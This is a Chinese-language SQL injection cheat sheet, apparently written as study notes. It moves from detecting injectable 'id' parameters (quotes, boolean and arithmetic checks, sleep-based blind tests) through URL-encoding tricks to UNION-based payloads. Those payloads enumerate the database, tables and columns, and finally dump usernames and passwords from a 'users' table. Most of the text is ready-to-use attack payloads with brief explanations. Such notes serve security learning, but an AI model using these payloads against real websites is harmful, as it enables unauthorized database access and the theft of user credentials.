get单引号判断
?id=1 正常
?id=1' 显示错误则存在sql注入
get and判断
?id=1 and 1=1
?iid=1' and 1=1如果报错,那就存在sql,在请求字符串或者id参数后面加入'(单引号)是一种常见的判断是否存在sql注入的方法
Or、xor判断
和and差不多
sql运算符判断
?id=5-0
?id=5-1
?id=5+1
通过判别获取的内容是否一致,内容不一致则说明存在sql注入,因为存在了你输入的payload运算执行
通过sleep函数演示来判断
?id=1' and if(left(database(),1)='s',sleep(3),1)--+
left()函数:left(database(),1)='s’
left(a,b)从左侧截取a的前b位,正确则返回1,错误则返回0。
例:left(database(),1)=‘s’; 前1位是否是s。
服务端返回错误形式
错误直接回显在页面上
错误隐藏在页面源代码中
检测到错误跳转到另一个页面
返回HTTP错误代码500或重定向302
适当处理错误结果,常显示一个通用错误页面
其它方法
了解post、get、编码
常用'or and 1=1 # 'or and 1=1 –-+
井号 #是sql语句中的注释符;
加号+ 在http请求中表示空格;
-- 后面的语句相当于被注释掉,不执行后面的sql语句;
--+代表闭合sql查询语句,如果没加,无法形成有效的mysql语句,这是sql注入中常见的巧妙运用。
在post参数中
要加空格符,直接输入空格服即可;用+会被http请求转义为%2B编码;
在get请求中
在get请求中如果有空格,需要用空格符编码%20来替代,不然会请求报错;
如果用#表示不提交#后面的参数到服务端,但是转成%23编码就可以提交过去;
常见URL编码
空格 %20
+%2b
<%3c
大于 >%3e
sql注入常用mysql函数
order by
发现注入点
输入?id=1 正常;
输入?id=1'报错,就存在sql注入漏洞。
猜id=1显示条件中表的字段
例如输入?id=1' order by 3 --+ 显示正常
再次输入?id=1' order by 4 --+ 显示错误
所以的出,在?id=1查看的这个表有3个字段
仔细想想,为什么不是?id=1或者id=1'呢?后面为什么要加--+呢?
爆开数据库
?id=-1' union select 1,2,database() --+
爆开数据表
?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
爆开数据列(字段名)
?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
爆开数据值
?id=0' union select 1,group_concat(username,0x3a,password),3 from users--+